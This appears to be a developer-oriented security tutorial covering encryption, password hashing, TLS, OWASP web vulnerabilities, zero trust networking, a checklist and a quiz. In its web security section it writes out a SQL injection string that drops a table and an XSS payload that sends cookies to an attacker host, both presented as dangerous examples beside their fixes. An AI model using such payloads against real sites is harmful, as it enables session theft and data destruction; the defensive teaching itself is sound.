- Authors
- Name
- Introduction
- Part 1: Cryptography
- Part 2: Web Security (OWASP Top 10)
- Part 3: Zero Trust Architecture
- Security Checklist

Introduction
"Isn't security the security team's job?" — No. Every developer who writes code is the first line of defense.
A single SQL Injection can leak millions of personal records, and a single XSS vulnerability can hijack user sessions. This article is a comprehensive summary of the security concepts every developer must know.
Part 1: Cryptography
Symmetric Key Encryption (AES)
from cryptography.fernet import Fernet
from cryptography.hazmat.primitives.ciphers.aead import AESGCM
import os
# === Fernet (simple symmetric key) ===
key = Fernet.generate_key()
f = Fernet(key)
plaintext = b"Hello, Security!"
ciphertext = f.encrypt(plaintext)
decrypted = f.decrypt(ciphertext)
assert decrypted == plaintext # ✅
# === AES-256-GCM (production standard) ===
key = AESGCM.generate_key(bit_length=256)
aesgcm = AESGCM(key)
nonce = os.urandom(12) # 96-bit nonce (new every time!)
# Encryption + Authentication (AEAD: Authenticated Encryption with Associated Data)
ct = aesgcm.encrypt(nonce, b"sensitive data", b"metadata")
pt = aesgcm.decrypt(nonce, ct, b"metadata") # Decryption + integrity verification
Symmetric key: Same key for encryption/decryption
Pros: Fast (AES-256: ~1 GB/s)
Cons: Key distribution problem (how to securely share the key?)
Use cases: Data encryption, disk encryption, TLS data transfer
Asymmetric Key Encryption (RSA, ECDSA)
from cryptography.hazmat.primitives.asymmetric import rsa, padding
from cryptography.hazmat.primitives import hashes
# Generate key pair
private_key = rsa.generate_private_key(
public_exponent=65537,
key_size=2048
)
public_key = private_key.public_key()
# Encrypt (with public key)
message = b"Secret message"
ciphertext = public_key.encrypt(
message,
padding.OAEP(
mgf=padding.MGF1(algorithm=hashes.SHA256()),
algorithm=hashes.SHA256(),
label=None
)
)
# Decrypt (with private key)
plaintext = private_key.decrypt(ciphertext, padding.OAEP(
mgf=padding.MGF1(algorithm=hashes.SHA256()),
algorithm=hashes.SHA256(),
label=None
))
assert plaintext == message # ✅
Asymmetric key: Public key (encrypt) + Private key (decrypt)
Pros: Solves the key exchange problem (public key can be shared openly)
Cons: Slow (RSA: ~1 KB/s, 1000x slower than AES)
Use cases: TLS key exchange, digital signatures, SSH authentication
Hashing — Password Storage
import hashlib
import bcrypt
# NEVER do this: store in plaintext
password = "mypassword123"
# DON'T: simple hash (vulnerable to rainbow table attacks)
md5_hash = hashlib.md5(password.encode()).hexdigest()
sha256_hash = hashlib.sha256(password.encode()).hexdigest()
# DO: bcrypt (salt + slow hashing = secure!)
salt = bcrypt.gensalt(rounds=12) # Generate salt (2^12 iterations)
hashed = bcrypt.hashpw(password.encode(), salt)
# Verification
is_valid = bcrypt.checkpw(password.encode(), hashed)
print(f"Password match: {is_valid}") # True
# Why bcrypt is secure:
# 1. Salt: Same password produces different hashes -> defeats rainbow tables
# 2. Slow: Intentionally slow to defend against brute force (GPU attack defense)
# 3. Adjustable rounds: Increase difficulty as hardware improves
TLS Handshake (HTTPS)
[Client] [Server]
| |
|-- ClientHello --------------->| Supported cipher suite list
| |
|<-- ServerHello + Certificate --| Selected cipher + server certificate
| |
| Verify server certificate |
| (CA chain) |
| |
|-- Key Exchange --------------->| ECDHE public value
|<-- Key Exchange ---------------| Server ECDHE public value
| |
+================================+
| Both sides derive the same |
| symmetric key! |
| (Diffie-Hellman) |
+================================+
| |
|<== AES-256-GCM encrypted ==> |
Part 2: Web Security (OWASP Top 10)
SQL Injection
# DON'T: dangerous code
username = "admin'; DROP TABLE users; --"
query = f"SELECT * FROM users WHERE username = '{username}'"
# -> SELECT * FROM users WHERE username = 'admin'; DROP TABLE users; --'
# -> Table dropped!
# DO: Parameter binding (Prepared Statement)
cursor.execute(
"SELECT * FROM users WHERE username = %s",
(username,) # Input treated as data only, never interpreted as SQL
)
# DO: Use an ORM (SQLAlchemy, Django ORM)
user = User.query.filter_by(username=username).first()
XSS (Cross-Site Scripting)
# DON'T: dangerous code (outputting user input as-is)
comment = '<script>document.location="https://evil.com/steal?cookie="+document.cookie</script>'
# Inserting directly into HTML:
html = f"<div>{comment}</div>"
# -> Cookie stolen!
# DO: HTML escape
from markupsafe import escape
safe_html = f"<div>{escape(comment)}</div>"
# -> <script>... (not executed)
# DO: CSP (Content Security Policy) header
# Content-Security-Policy: script-src 'self'; object-src 'none';
CSRF (Cross-Site Request Forgery)
# Attack: User visits a malicious site while logged in
# A hidden form on the malicious site automatically submits a bank transfer request!
# DO: CSRF token defense
from flask import Flask, session
import secrets
app = Flask(__name__)
@app.route('/transfer', methods=['POST'])
def transfer():
# Token verification
if request.form['csrf_token'] != session['csrf_token']:
abort(403) # CSRF attack blocked!
# Normal processing
process_transfer(request.form)
# DO: SameSite cookies
# Set-Cookie: session=abc; SameSite=Strict; Secure; HttpOnly
Authentication/Authorization Vulnerabilities
# DON'T: IDOR (Insecure Direct Object Reference)
@app.route('/api/users/<user_id>/profile')
def get_profile(user_id):
return User.query.get(user_id).to_dict()
# Changing user_id reveals other people's information!
# DO: Add authorization check
@app.route('/api/users/<user_id>/profile')
@login_required
def get_profile(user_id):
if current_user.id != int(user_id) and not current_user.is_admin:
abort(403) # Unauthorized!
return User.query.get(user_id).to_dict()
Part 3: Zero Trust Architecture
Traditional security: "Inside the walls is safe" (Castle and Moat)
[Internet] --[Firewall]-- [Internal network: trust everyone]
-> Defenseless once breached internally!
Zero Trust: "Trust nobody"
[Every request] -> [Authenticate] -> [Authorize] -> [Encrypt] -> [Monitor]
-> Verify every time, whether internal or external!
Zero Trust Principles
1. Verify Explicitly
-> Authenticate + authorize every request (regardless of location/network)
2. Least Privilege
-> Allow access only to what is needed, only for the time needed
-> JIT (Just-In-Time) privilege granting
3. Assume Breach
-> Design assuming you have already been compromised
-> Micro-segmentation, encryption, monitoring
# Kubernetes Zero Trust: NetworkPolicy
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
name: api-policy
spec:
podSelector:
matchLabels:
app: api-server
policyTypes:
- Ingress
- Egress
ingress:
- from:
- podSelector:
matchLabels:
app: frontend # Allow access only from frontend
ports:
- port: 8080
egress:
- to:
- podSelector:
matchLabels:
app: database # Allow access only to DB
ports:
- port: 5432
# All other traffic: blocked!
Security Checklist
[Authentication/Authorization]
- bcrypt/Argon2 for password hashing (never use SHA256 alone)
- JWT signature verification + expiration time
- OAuth 2.0 PKCE (SPA/mobile)
- MFA (Multi-Factor Authentication)
- Rate Limiting (brute force defense)
[Input Validation]
- SQL Injection: Prepared Statement / ORM
- XSS: HTML escape + CSP header
- CSRF: SameSite cookies + CSRF token
- Path Traversal: filename validation
- SSRF: block internal IPs
[Communication/Storage]
- HTTPS required (TLS 1.3)
- HSTS header
- Encrypt sensitive data (AES-256-GCM)
- Secret management: Vault / AWS Secrets Manager
- Never log passwords/tokens
[Infrastructure]
- Zero Trust network
- Container image scanning (Trivy)
- Dependency vulnerability scanning (Dependabot)
- WAF (Web Application Firewall)
- Intrusion detection/monitoring
Quiz — Security (click to reveal!)
Q1. What is the difference between symmetric and asymmetric encryption, and what are their use cases? ||Symmetric: Same key for encryption/decryption, fast (AES) — data transfer/storage encryption. Asymmetric: Public/private key pair, slow (RSA) — key exchange, digital signatures.||
Q2. Why is bcrypt safer than SHA-256 for password storage? ||1) Salt defeats rainbow tables 2) Intentionally slow hashing defends against brute force 3) Adjustable rounds to keep up with future hardware improvements.||
Q3. What is the root cause of SQL Injection and how do you defend against it? ||Root cause: User input is interpreted as part of the SQL query. Defense: Prepared Statements (parameter binding) treat input as data only.||
Q4. What is the difference between XSS and CSRF? ||XSS: Attacker's script executes in the victim's browser. CSRF: Attacker sends requests using the victim's authenticated session. XSS tricks the client; CSRF tricks the server.||
Q5. At which stages of the TLS handshake are symmetric and asymmetric keys used? ||Asymmetric: Key exchange during the handshake (ECDHE). Symmetric (AES): Data transfer stage. Asymmetric keys securely negotiate a symmetric key, then the fast symmetric key handles actual communication.||
Q6. What are the three principles of Zero Trust? ||1) Verify Explicitly: Explicitly authenticate/authorize every request 2) Least Privilege: Grant only the minimum necessary permissions 3) Assume Breach: Design assuming compromise has already occurred.||
Q7. What is the role of the HSTS header? ||It instructs the browser to access the domain only via HTTPS. This prevents man-in-the-middle attacks that could occur during HTTP to HTTPS redirects.||